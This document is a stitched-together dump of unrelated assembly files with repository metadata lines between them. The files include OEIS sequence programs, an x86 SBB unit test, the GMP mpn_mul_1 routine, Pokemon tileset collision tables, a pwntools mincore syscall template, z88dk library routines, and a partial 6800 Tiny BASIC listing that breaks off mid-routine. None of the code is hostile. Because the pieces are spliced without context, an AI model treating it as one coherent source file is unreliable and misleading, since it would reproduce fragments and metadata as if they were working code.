db "SI=", 05h dup(00h) _DI db "DI=", 05h dup(00h) _DS db "DS=", 05h dup(00h) _ES db "ES=", 05h dup(00h) _SS db "SS=", 05h dup(00h) _CS db "CS=", 05h dup(00h) ; ==================== dump_cpu_regs ====================
15.357143
59
0.509514
9ab2608616d0756e18644905dff0150e91db9f05
683
asm
Assembly
programs/oeis/169/A169832.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/169/A169832.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/169/A169832.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A169832: a(n) = 15*2^(n+1) - (5*n^2+22*n+30). ; 0,3,26,99,282,695,1578,3411,7154,14727,29970,60563,121866,244599,490202,981555,1964418,3930311,7862274,15726387,31454810,62911863,125826186,251655059,503313042,1006629255,2013261938,4026527571,8053059114,16106122487,32212249530,64424503923,128849013026,257698031559,515396068962,1030792144115,2061584294778,4123168596471,8246337200234,16492674408147,32985348824370,65970697657223,131941395323346,263882790656019,527765581321802,1055531162653815,2111062325318298,4222124650647731,8444249301307074 mov $1,4 mov $2,2 mov $3,5 mov $4,6 lpb $0 sub $0,1 add $1,$2 add $1,1 add $2,$4 add $2,3 mul $2,2 add $4,$3 lpe sub $1,4
37.944444
497
0.784773
9ddcf05026ebcb293eacde59b3d8d4efff6c89bf
1,183
asm
Assembly
unittests/ASM/Primary/Primary_18_3.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
628
2020-03-06T14:01:32.000Z
2022-03-31T06:35:14.000Z
unittests/ASM/Primary/Primary_18_3.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
576
2020-03-06T08:25:12.000Z
2022-03-30T04:05:29.000Z
unittests/ASM/Primary/Primary_18_3.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
38
2020-03-07T06:10:00.000Z
2022-03-29T09:27:36.000Z
%ifdef CONFIG { "RegData": { "RBX": "0x09", "RCX": "0x9919", "RDX": "0x9A999929", "RBP": "0x9E9D9C9B9A999939", "RDI": "0x81", "RSP": "0x7F81", "R8": "0x7F7F7F81", "R9": "0x02", "R10": "0x4142427344754777", "R11": "0x5152535455565687", "R12": "0x6162636465666768" }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov r15, 0xe0000000 mov rax, 0x4142434445464748 mov [r15 + 8 * 0], rax mov rax, 0x5152535455565758 mov [r15 + 8 * 1], rax mov rax, 0x6162636465666768 mov [r15 + 8 * 2], rax mov rax, 0xD1 clc lock sbb byte [r15 + 8 * 0 + 0], al clc lock sbb word [r15 + 8 * 0 + 2], ax clc lock sbb dword [r15 + 8 * 0 + 4], eax clc lock sbb qword [r15 + 8 * 1 + 0], rax mov rbx, 0x71 mov rcx, 0x81 mov rdx, 0x91 mov rbp, 0xA1 clc sbb bl, byte [r15 + 8 * 2] clc sbb cx, word [r15 + 8 * 2] clc sbb edx, dword [r15 + 8 * 2] clc sbb rbp, qword [r15 + 8 * 2] mov rax, 0x01 clc sbb al, 0x80 mov rdi, rax mov rax, 0x01 clc sbb ax, 0x8080 mov rsp, rax mov rax, 0x01 clc sbb eax, 0x80808080 mov r8, rax mov rax, 0x01 clc sbb rax, -1 mov r9, rax mov r10, [r15 + 8 * 0] mov r11, [r15 + 8 * 1] mov r12, [r15 + 8 * 2] hlt
14.7875
37
0.590025
c61e34d31acf7f87cf34b2316622ed17a4f7c580
4,256
asm
Assembly
test/include/gmp-6.1.2/mpn/mul_1.asm
kcpikkt/apa
9e84491ff58666b273ef50faea086e43abb89ab1
[ "MIT" ]
43
2020-10-29T18:05:40.000Z
2022-03-29T03:47:01.000Z
homomorphic_evaluation/gmp-6.1.2/mpn/mul_1.asm
dklee0501/Lobster
f2b73df9165c76e8b521d8ebd639d68321e3862b
[ "MIT" ]
1
2021-12-31T01:36:49.000Z
2021-12-31T15:21:54.000Z
homomorphic_evaluation/gmp-6.1.2/mpn/mul_1.asm
dklee0501/Lobster
f2b73df9165c76e8b521d8ebd639d68321e3862b
[ "MIT" ]
6
2020-11-07T07:31:27.000Z
2022-01-09T18:48:19.000Z
dnl AMD64 mpn_mul_1 optimised for Intel Broadwell. dnl Copyright 2015 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of either: dnl dnl * the GNU Lesser General Public License as published by the Free dnl Software Foundation; either version 3 of the License, or (at your dnl option) any later version. dnl dnl or dnl dnl * the GNU General Public License as published by the Free Software dnl Foundation; either version 2 of the License, or (at your option) any dnl later version. dnl dnl or both in parallel, as here. dnl dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License dnl for more details. dnl dnl You should have received copies of the GNU General Public License and the dnl GNU Lesser General Public License along with the GNU MP Library. If not, dnl see https://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C AMD K8,K9 - C AMD K10 - C AMD bull - C AMD pile - C AMD steam - C AMD excavator - C AMD bobcat - C AMD jaguar - C Intel P4 - C Intel core2 - C Intel NHM - C Intel SBR - C Intel IBR - C Intel HWL 1.70 C Intel BWL 1.51 C Intel SKL 1.52 C Intel atom - C Intel SLM - C VIA nano - C The loop of this code is the result of running a code generation and C optimisation tool suite written by David Harvey and Torbjorn Granlund. C TODO C * Put an initial mulx before switching, targeting some free registers. C * Tune feed-in code. C * Trim nop execution after L(f2). C * Port to DOS64, not forgetting nop execution. define(`rp', `%rdi') C rcx define(`up', `%rsi') C rdx define(`n_param', `%rdx') C r8 define(`v0_param',`%rcx') C r9 define(`n', `%rcx') dnl ABI_SUPPORT(DOS64) ABI_SUPPORT(STD64) dnl IFDOS(` define(`up', ``%rsi'') ') dnl dnl IFDOS(` define(`rp', ``%rcx'') ') dnl dnl IFDOS(` define(`vl', ``%r9'') ') dnl dnl IFDOS(` define(`r9', ``rdi'') ') dnl dnl IFDOS(` define(`n', ``%r8'') ') dnl dnl IFDOS(` define(`r8', ``r11'') ') dnl ASM_START() TEXT ALIGN(32) PROLOGUE(mpn_mul_1) mov v0_param, %r10 mov n_param, n mov R32(n_param), R32(%r8) shr $3, n and $7, R32(%r8) C clear OF, CF as side-effect mov %r10, %rdx lea L(tab)(%rip), %r10 ifdef(`PIC', ` movslq (%r10,%r8,4), %r8 lea (%r8, %r10), %r10 jmp *%r10 ',` jmp *(%r10,%r8,8) ') JUMPTABSECT ALIGN(8) L(tab): JMPENT( L(f0), L(tab)) JMPENT( L(f1), L(tab)) JMPENT( L(f2), L(tab)) JMPENT( L(f3), L(tab)) JMPENT( L(f4), L(tab)) JMPENT( L(f5), L(tab)) JMPENT( L(f6), L(tab)) JMPENT( L(f7), L(tab)) TEXT L(f0): mulx( (up), %r10, %r8) lea 56(up), up lea -8(rp), rp jmp L(b0) L(f3): mulx( (up), %r9, %rax) lea 16(up), up lea 16(rp), rp inc n jmp L(b3) L(f4): mulx( (up), %r10, %r8) lea 24(up), up lea 24(rp), rp inc n jmp L(b4) L(f5): mulx( (up), %r9, %rax) lea 32(up), up lea 32(rp), rp inc n jmp L(b5) L(f6): mulx( (up), %r10, %r8) lea 40(up), up lea 40(rp), rp inc n jmp L(b6) L(f7): mulx( (up), %r9, %rax) lea 48(up), up lea 48(rp), rp inc n jmp L(b7) L(f1): mulx( (up), %r9, %rax) test n, n jnz L(b1) L(1): mov %r9, (rp) ret L(f2): mulx( (up), %r10, %r8) lea 8(up), up lea 8(rp), rp mulx( (up), %r9, %rax) test n, n jz L(end) ALIGN(32) L(top): mov %r10, -8(rp) adc %r8, %r9 L(b1): mulx( 8,(up), %r10, %r8) adc %rax, %r10 lea 64(up), up mov %r9, (rp) L(b0): mov %r10, 8(rp) mulx( -48,(up), %r9, %rax) lea 64(rp), rp adc %r8, %r9 L(b7): mulx( -40,(up), %r10, %r8) mov %r9, -48(rp) adc %rax, %r10 L(b6): mov %r10, -40(rp) mulx( -32,(up), %r9, %rax) adc %r8, %r9 L(b5): mulx( -24,(up), %r10, %r8) mov %r9, -32(rp) adc %rax, %r10 L(b4): mulx( -16,(up), %r9, %rax) mov %r10, -24(rp) adc %r8, %r9 L(b3): mulx( -8,(up), %r10, %r8) adc %rax, %r10 mov %r9, -16(rp) dec n mulx( (up), %r9, %rax) jnz L(top) L(end): mov %r10, -8(rp) adc %r8, %r9 mov %r9, (rp) adc %rcx, %rax ret EPILOGUE() ASM_END()
21.714286
79
0.609023
afc04f061488f0609a6cb91b694ac2789e4012eb
5,308
asm
Assembly
data/tilesets/kanto_collision.asm
pokeachromicdevs/pokeoctober
db74bb68bbfceac07eec6d64674bc24fd4c0b67f
[ "blessing" ]
1
2021-07-05T23:48:37.000Z
2021-07-05T23:48:37.000Z
data/tilesets/kanto_collision.asm
AtmaBuster/pokeoctober
12652b84eb2df1a0ed2f654a0ffcfb78202e515f
[ "blessing" ]
1
2020-12-16T01:11:20.000Z
2020-12-16T22:53:56.000Z
data/tilesets/kanto_collision.asm
AtmaBuster/pokeoctober
12652b84eb2df1a0ed2f654a0ffcfb78202e515f
[ "blessing" ]
1
2021-07-05T23:33:22.000Z
2021-07-05T23:33:22.000Z
tilecoll CUT_TREE, CUT_TREE, CUT_TREE, CUT_TREE ; 00 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01 tilecoll WALL, WALL, WALL, DOOR ; 02 tilecoll WALL, WALL, WALL, WALL ; 03 tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 04 tilecoll LADDER, LADDER, LADDER, LADDER ; 05 tilecoll FLOOR, FLOOR, CAVE, WALL ; 06 tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 07 tilecoll FLOOR, FLOOR, FLOOR, WALL ; 08 tilecoll WALL, WALL, WALL, WALL ; 09 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0a tilecoll TALL_GRASS, TALL_GRASS, TALL_GRASS, TALL_GRASS ; 0b tilecoll WALL, WALL, WALL, WALL ; 0c tilecoll WALL, WALL, WALL, WALL ; 0d tilecoll WALL, WALL, WALL, WALL ; 0e tilecoll WALL, WALL, WALL, WALL ; 0f tilecoll WALL, WALL, WALL, WALL ; 10 tilecoll WALL, WALL, WALL, WALL ; 11 tilecoll WALL, WALL, DOOR, WALL ; 12 tilecoll WALL, WALL, WALL, WALL ; 13 tilecoll WALL, WATER, WALL, WALL ; 14 tilecoll WATER, WALL, WALL, WALL ; 15 tilecoll WALL, WALL, WALL, WATER ; 16 tilecoll FLOOR, WARP_CARPET_RIGHT, FLOOR, WARP_CARPET_RIGHT ; 17 tilecoll WALL, WATER, WALL, WATER ; 18 tilecoll WATER, WALL, WATER, WALL ; 19 tilecoll HOP_DOWN, HOP_DOWN, WALL, WALL ; 1a tilecoll WALL, FLOOR, WALL, FLOOR ; 1b tilecoll FLOOR, FLOOR, WALL, WALL ; 1c tilecoll WATER, WATER, WATER, WATER ; 1d tilecoll WATER, WATER, WATER, WATER ; 1e tilecoll WATER, WATER, WATER, WATER ; 1f tilecoll WALL, WALL, WALL, WALL ; 20 tilecoll WALL, WALL, WALL, WALL ; 21 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 22 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 23 tilecoll WALL, FLOOR, WALL, WALL ; 24 tilecoll FLOOR, WALL, WALL, WALL ; 25 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 26 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 27 tilecoll WALL, FLOOR, WALL, FLOOR ; 28 tilecoll FLOOR, WALL, FLOOR, WALL ; 29 tilecoll FLOOR, FLOOR, WALL, FLOOR ; 2a tilecoll FLOOR, FLOOR, FLOOR, WALL ; 2b tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2c tilecoll WATER, WATER, WATER, WATER ; 2d tilecoll WATER, WATER, WATER, WATER ; 2e tilecoll HOP_DOWN, FLOOR, WALL, FLOOR ; 2f tilecoll WALL, WALL, WALL, WALL ; 30 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 31 tilecoll WALL, CUT_TREE, WALL, FLOOR ; 32 tilecoll WALL, WALL, FLOOR, CUT_TREE ; 33 tilecoll CUT_TREE, FLOOR, WALL, WALL ; 34 tilecoll FLOOR, CUT_TREE, WALL, FLOOR ; 35 tilecoll WALL, WALL, FLOOR, WALL ; 36 tilecoll WALL, WALL, WALL, WALL ; 37 tilecoll FLOOR, FLOOR, WALL, WALL ; 38 tilecoll FLOOR, FLOOR, WALL, WALL ; 39 tilecoll WALL, WALL, DOOR, WALL ; 3a tilecoll UP_WALL, WALL, WALL, WALL ; 3b tilecoll WALL, WALL, WALL, DOOR ; 3c tilecoll WALL, WALL, WALL, WALL ; 3d tilecoll WALL, UP_WALL, WALL, FLOOR ; 3e tilecoll UP_WALL, UP_WALL, FLOOR, FLOOR ; 3f tilecoll WALL, FLOOR, FLOOR, FLOOR ; 40 tilecoll FLOOR, FLOOR, WALL, FLOOR ; 41 tilecoll HOP_DOWN, WALL, WALL, WALL ; 42 tilecoll WATER, WATER, WATER, WATER ; 43 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 44 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 45 tilecoll FLOOR, FLOOR, WALL, WARP_CARPET_DOWN ; 46 tilecoll HOP_RIGHT, WALL, HOP_RIGHT, WALL ; 47 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 48 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 49 tilecoll WALL, HOP_DOWN_LEFT, WALL, WALL ; 4a tilecoll HOP_DOWN_RIGHT, WALL, WALL, WALL ; 4b tilecoll FLOOR, FLOOR, WALL, FLOOR ; 4c tilecoll FLOOR, WALL, FLOOR, WALL ; 4d tilecoll WALL, FLOOR, WALL, FLOOR ; 4e tilecoll FLOOR, WALL, WALL, WALL ; 4f tilecoll WALL, FLOOR, WALL, WALL ; 50 tilecoll WALL, WALL, FLOOR, FLOOR ; 51 tilecoll FLOOR, FLOOR, WALL, WALL ; 52 tilecoll FLOOR, WALL, FLOOR, FLOOR ; 53 tilecoll WALL, WALL, WALL, WALL ; 54 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 55 tilecoll FLOOR, FLOOR, WALL, WALL ; 56 tilecoll FLOOR, FLOOR, WALL, WALL ; 57 tilecoll WALL, HOP_LEFT, WALL, HOP_LEFT ; 58 tilecoll HOP_RIGHT, WALL, HOP_RIGHT, WALL ; 59 tilecoll WALL, HOP_DOWN_LEFT, WALL, WALL ; 5a tilecoll HOP_DOWN_RIGHT, WALL, WALL, WALL ; 5b tilecoll FLOOR, HOP_DOWN, FLOOR, WALL ; 5c tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 5d tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 5e tilecoll FLOOR, WALL, FLOOR, WALL ; 5f tilecoll FLOOR, WALL, CUT_TREE, WALL ; 60 tilecoll FLOOR, FLOOR, WALL, WALL ; 61 tilecoll WALL, WALL, WALL, FLOOR ; 62 tilecoll WALL, WALL, FLOOR, WALL ; 63 tilecoll WATER, WATER, WATER, WATER ; 64 tilecoll WATER, WATER, WATER, WATER ; 65 tilecoll WALL, WALL, WALL, WALL ; 66 tilecoll WALL, WATER, WALL, WATER ; 67 tilecoll WALL, WALL, WALL, WALL ; 68 tilecoll WALL, WALL, WALL, WALL ; 69 tilecoll WATER, WALL, WATER, WALL ; 6a tilecoll WATER, WATER, WALL, WALL ; 6b tilecoll WALL, WALL, FLOOR, FLOOR ; 6c tilecoll WALL, FLOOR, WALL, FLOOR ; 6d tilecoll FLOOR, WALL, FLOOR, WALL ; 6e tilecoll FLOOR, FLOOR, WALL, WALL ; 6f tilecoll FLOOR, WALL, CAVE, WALL ; 70 tilecoll WALL, WALL, WALL, WALL ; 71 tilecoll WALL, WALL, WALL, WALL ; 72 tilecoll WALL, WALL, WALL, WALL ; 73 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 74 tilecoll WALL, WALL, WALL, WALL ; 75 tilecoll WALL, WALL, WALL, WALL ; 76 tilecoll FLOOR, FLOOR, WALL, WALL ; 77 tilecoll WATER, WATER, WATER, WATER ; 78 tilecoll FLOOR, FLOOR, FLOOR, WALL ; 79 tilecoll WALL, WALL, WALL, WALL ; 7a tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 7b tilecoll WALL, WALL, WALL, DOOR ; 7c tilecoll WALL, WALL, WALL, WALL ; 7d tilecoll WALL, WALL, WALL, WALL ; 7e tilecoll WALL, WALL, WALL, WALL ; 7f
41.147287
65
0.710625
570f7e8e789b6fa2a3577a08d7d62f9b25ce4b11
326
asm
Assembly
pwnlib/shellcraft/templates/aarch64/linux/mincore.asm
IMULMUL/python3-pwntools
61210a68cd88e9084c72292d3119c38c44f07966
[ "MIT" ]
325
2016-01-25T08:38:06.000Z
2022-03-30T14:31:50.000Z
pwnlib/shellcraft/templates/aarch64/linux/mincore.asm
IMULMUL/python3-pwntools
61210a68cd88e9084c72292d3119c38c44f07966
[ "MIT" ]
8
2016-08-23T10:15:27.000Z
2019-01-16T02:49:34.000Z
pwnlib/shellcraft/templates/aarch64/linux/mincore.asm
IMULMUL/python3-pwntools
61210a68cd88e9084c72292d3119c38c44f07966
[ "MIT" ]
71
2016-07-13T10:03:52.000Z
2022-01-10T11:57:34.000Z
<% from pwnlib.shellcraft.aarch64.linux import syscall %> <%page args="start, length, vec"/> <%docstring> Invokes the syscall mincore. See 'man 2 mincore' for more information. Arguments: start(void): start len(size_t): len vec(unsigned): vec </%docstring> ${syscall('SYS_mincore', start, length, vec)}
21.733333
71
0.680982
b588635f8602cbb44f6f9758b3086fa034f5ae79
560
asm
Assembly
oeis/017/A017381.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/017/A017381.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/017/A017381.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A017381: a(n) = (10*n + 9)^5. ; 59049,2476099,20511149,90224199,282475249,714924299,1564031349,3077056399,5584059449,9509900499,15386239549,23863536599,35723051649,51888844699,73439775749,101621504799,137858491849,183765996899,241162079949,312079600999,398778220049,503756397099,629763392149,779811265199,957186876249,1165463885299,1408514752349,1690522737399,2015993900449,2389769101499,2817036000549,3303341057599,3854601532649,4477117485699,5177583776749,5963102065799,6841192812849,7819807277899,8907339520949,10112638401999 mul $0,10 add $0,9 pow $0,5
80
498
0.869643
0e5994102e4bebc9080a1bca90d2f99a3f6aba97
2,207
asm
Assembly
libsrc/target/excali64/stdio/conio_map_colour.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/excali64/stdio/conio_map_colour.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/excali64/stdio/conio_map_colour.asm
Frodevan/z88dk
f27af9fe840ff995c63c80a73673ba7ee33fffac
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; Platform specific colour transformation ; ; Entry: a = colour ; Exit: a = colour to use on screen ; Used: hl,bc,f ; MODULE code_clib PUBLIC conio_map_colour PUBLIC conio_map_colour_bg EXTERN __CLIB_CONIO_NATIVE_COLOUR conio_map_colour: ld hl,excalibur_colour_1 get_colour: ld c,__CLIB_CONIO_NATIVE_COLOUR rr c ret c and 15 ld c,a ld b,0 add hl,bc ld a,(hl) and a ret conio_map_colour_bg: ld hl,background_table call get_colour ret nc ;It was mapped and 7 ;Just truncate ret SECTION rodata_clib excalibur_colour_1: defb $0 ;BLACK -> BLACK defb $2 ;BLUE -> BLUE defb $4 ;GREEN -> GREEN defb $6 ;CYAN -> CYAN defb $1 ;RED -> RED defb $3 ;MAGENTA -> MAGENTA defb $b ;BROWN -> TAWNY (RED/ORANGE) - ok defb $f ;LIGHTGRAY -> 15 (a very dark green) defb $c ;DARKGRAY -> 12 (a very, very dark purple) defb $2 ;LIGHTBLUE -> 2 (blue) defb $d ;LIGHTGREEN -> PALE GREEN - ok defb $6 ;LIGHTCYAN -> 6 (cyan) defb $9 ;LIGHTRED -> 9 (orange) defb $e ;LIGHTMAGENTA -> 14 (pink/cerise) defb $5 ;YELLOW -> YELLOW defb $7 ;WHITE -> WHITE excalibur_colour_2: defb $0 ;BLACK -> BLACK defb $d ;BLUE -> SKY BLUE defb $4 ;GREEN -> VERY DARK GREEN defb $6 ;CYAN -> VERY PALE BLUE defb $1 ;RED -> RED defb $3 ;MAGENTA -> DARK PURPLE defb $b ;BROWN -> DARK BROWN defb $f ;LIGHTGRAY -> LIGHT GREY defb $e ;DARKGRAY -> DARK GREY defb $2 ;LIGHTBLUE -> GREY BLUE defb $5 ;LIGHTGREEN -> YELLOW GREEN defb $8 ;LIGHTCYAN -> DARK RED defb $9 ;LIGHTRED -> PINK defb $e ;LIGHTMAGENTA -> PURPLE defb $b ;YELLOW -> YELLOW BROWN defb $7 ;WHITE -> WHITE background_table: defb $0 ;BLACK -> BLACK defb $2 ;BLUE -> BLUE defb $4 ;GREEN -> GREEN defb $6 ;CYAN -> CYAN defb $1 ;RED -> RED defb $3 ;MAGENTA -> MAGENTA defb $1 ;BROWN -> RED defb $7 ;LIGHTGRAY -> WHITE defb $7 ;DARKGRAY -> WHITE defb $2 ;LIGHTBLUE -> BLUE defb $4 ;LIGHTGREEN -> GREEN defb $6 ;LIGHTCYAN -> CYAN defb $1 ;LIGHTRED -> RED defb $3 ;LIGHTMAGENTA -> MAGENTA defb $5 ;YELLOW -> YELLOW defb $7 ;WHITE -> WHITE
24.252747
66
0.612143
62aa8b8a85860488177942b451aa0b8753ba98e6
191
asm
Assembly
libsrc/_DEVELOPMENT/string/c/sccz80/strrspn_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/string/c/sccz80/strrspn_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/string/c/sccz80/strrspn_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; size_t strrspn(const char *str, const char *cset) SECTION code_string PUBLIC strrspn_callee EXTERN asm_strrspn strrspn_callee: pop hl pop de ex (sp),hl jp asm_strrspn
11.235294
51
0.712042
18c2a0423fb6b7576faab713d1c6dc2642b627e3
97,390
asm
Assembly
tb_6800.asm
tonypdmtr/BASIC11
70cc9a8d3d9df4ff419799ad62588616b4f7d951
[ "MIT" ]
7
2018-11-21T09:32:48.000Z
2021-06-19T07:01:39.000Z
tb_6800.asm
tonypdmtr/BASIC11
70cc9a8d3d9df4ff419799ad62588616b4f7d951
[ "MIT" ]
null
null
null
tb_6800.asm
tonypdmtr/BASIC11
70cc9a8d3d9df4ff419799ad62588616b4f7d951
[ "MIT" ]
null
null
null
;******************************************************************************* ; Tom PitIL_tman's 6800 Tiny BASIC ; Reverse analyzed from (buggy) hexdump (TB68R1.tiff and TB68R2.tiff) at ; http://www.ittybittycomputers.com/IttyBitty/TinyBasic/index.htm ; by Holger Veit ; ; Note this might look like valid assembler, but possibly isn't. ; For reference only ;******************************************************************************* #CaseOn RAM_BASIC def $2000 ; stub to remove errors [DEBUG] CR equ 13 ; Carriage Return LF equ 10 ; Line Feed PIA_REG equ $8004 ACIA_STATUS equ $FCF4 ACIA_DATA equ $FCF5 ;******************************************************************************* #RAM 32 ;******************************************************************************* start_prgm rmb 2 ; start of BASIC text (0x900) end_ram rmb 2 ; end of available RAM end_prgm rmb 2 ; end of BASIC text top_of_stack rmb 2 ; top of return stack pointer location basic_lineno rmb 2 ; save for current line number to be executed il_pc rmb 2 ; program counter for IL code basic_ptr rmb 2 ; pointer to currently executed BASIC byte basicptr_save rmb 2 ; temporary save for basic_ptr expr_stack rmb 80 ; lowest byte of expr_stack (0x30) rnd_seed rmb 2 ; used as seed value for RND function ;-------------------------------------- ; note this is actually top of predecrementing expr_stack var_tbl rmb 52 ; variables (A-Z), 26 words LS_end rmb 2 ; used to store addr of end of LS listing, ;-------------------------------------- ; start of list is in basic_ptr bp_save rmb 2 ; another temporary save for basic_ptr x_save rmb 2 ; temporary save for X IL_temp rmb 2 ; temporary for various IL operations ;-------------------------------------- ; used for branch to IL handler routine for opcode lead_zero rmb 1 ; flag for number output and negative sign in DV column_cnt rmb 1 ; counter for output columns (required for TAB in PRINT) ;-------------------------------------- ; if bit 7 is set, suppress output (XOFF) run_mode rmb 1 ; run mode ; = 0 direct mode ; <> 0 running program expr_stack_low rmb 1 ; low addr byte of expr_stack (should be 0x30) expr_stack_x rmb 1 ; high byte of expr_stack_top (==0x00, used with X register) expr_stack_top rmb 1 ; low byte of expr_stack_top (used in 8 bit comparisons) il_pc_save rmb 2 ; save of IL program counter ;******************************************************************************* #ROM $100 ; cold start vector ;******************************************************************************* CV proc jsr COLD_S ; Do cold start initialization WV jmp WARM_S ; do warm start (warm start vector) IN_V bra * ; vector: get a character from input device into A (unimplemented) OUT_V bra * ; print a character in A to output device (unimplemented) BV nop ; test for break from input device, set C=1 if break ; unimplemented - jump to break routine clc ; note: at the end of the program, there are two rts ; sample implementations for MIKBUG and MINIBUG ;******************************************************************************* ; Some standard constants ;******************************************************************************* BSC fcb $5F ; backspace code (should be 0x7f, but actually is '_') LSC fcb $18 ; line cancel code (CTRL-X) PCC fcb $83 ; CRLF padding characters ; low 7 bits are number of NUL/0xFF ; bit7=1: send 0xFF, =0, send NUL TMC fcb $80 SSS fcb $20 ; reserved bytes at end_prgm (to prevent return stack ; underflow (spare area) ;****************************************************************************** ; utility routines for BASIC (not called in interpreter code) ;****************************************************************************** ;******************************************************************************* ; get the byte pointed to by X into B:A ;******************************************************************************* peek proc lda ,x clrb rts ;******************************************************************************* ; Put the byte in A into cell pointed to by X ;******************************************************************************* poke proc sta ,x rts ;******************************************************************************* ; Interpreter jump table ;******************************************************************************* il_jumptable fdb IL_BBR ; 0x40-0x5f: backward branch fdb IL_FBR ; 0x60-0x7f: forward_branch fdb IL_BC ; 0x80-0x9f: string match branch fdb IL_BV ; 0xa0-0xbf: branch if not variable fdb IL_BN ; 0xc0-0xdf: branch if not number fdb IL_BE ; 0xe0-0xff: branch if not eoln fdb IL_NO ; 0x08: no operation fdb IL_LB ; 0x09: push literal byte to TOS fdb IL_LN ; 0x0a: push literal word to TOS fdb IL_DS ; 0x0b: duplicate stack top fdb IL_SP ; 0x0c: pop TOS into A:B fdb expr_pop_byte ; 0x0d: undocumented: pop byte into fdb sub_177 ; 0x0e: undocumented: push TOS on return stack fdb sub_180 ; 0x0f: undocumented: pop return stack into TOS fdb IL_SB ; 0x10: save BASIC pointer fdb IL_RB ; 0x11: restore BASIC pointer fdb IL_FV ; 0x12: fetch variable fdb IL_SV ; 0x13: store variable fdb IL_GS ; 0x14: save GOSUB line fdb IL_RS ; 0x15: restore saved line fdb IL_GO ; 0x16: goto fdb IL_NE ; 0x17: negate fdb IL_AD ; 0x18: add fdb IL_SU ; 0x19: subtract fdb IL_MP ; 0x1a: multiply fdb IL_DV ; 0x1b: divide fdb IL_CP ; 0x1c: compare fdb IL_NX ; 0x1d: next BASIC statement fdb IL_NO ; 0x1e: reserved fdb IL_LS ; 0x1f: list program fdb IL_PN ; 0x20: print number fdb IL_PQ ; 0x21: print BASIC string fdb IL_PT ; 0x22: print tab fdb IL_NL ; 0x23: new line fdb IL_PC ; 0x24: print literal string fdb pt_print_spc ; 0x25: undocumented op for SPC(x) function fdb IL_NO ; 0x26: reserved fdb IL_GL ; 0x27: get input line fdb IL_NO ; 0x28: reserved fdb IL_NO ; 0x29: reserved fdb IL_IL ; 0x2A: Insert BASIC line fdb IL_MT ; 0x2B: mark BASIC program space empty fdb IL_XQ ; 0x2C: execute fdb WARM_S ; 0x2D: warm start fdb IL_US ; 0x2E: machine language subroutine call fdb IL_RT ; 0x2F: IL subroutine return ;******************************************************************************* ; undocumented IL instruction (unused) ; will take a value from expression stack ; and put onto processor stack sub_177 proc bsr IL_SP ; pop word into A:B std IL_temp ; save into IL_temp jmp push_payload ; push value on return stack ;******************************************************************************* ; undocumented IL instruction ; will extract stored value on processor stack ; and push back on expr_stack sub_180 proc jsr get_payload ; extract stored value on return stack ldd IL_temp ; get this value bra expr_push_word ; push on expr_stack ;******************************************************************************* ; IL instruction: duplicate top of expr_stack IL_DS proc bsr IL_SP ; pop top of expr_stack into A:B bsr expr_push_word ; push A:B twice on expr_stack ; bra expr_push_word ;******************************************************************************* ; push A:B on expr_stack expr_push_word proc ldx expr_stack_x ; get expr_stack top dex ; make space for another byte stb ,x ; store byte (low) bra ?expr_push_byte ; push A 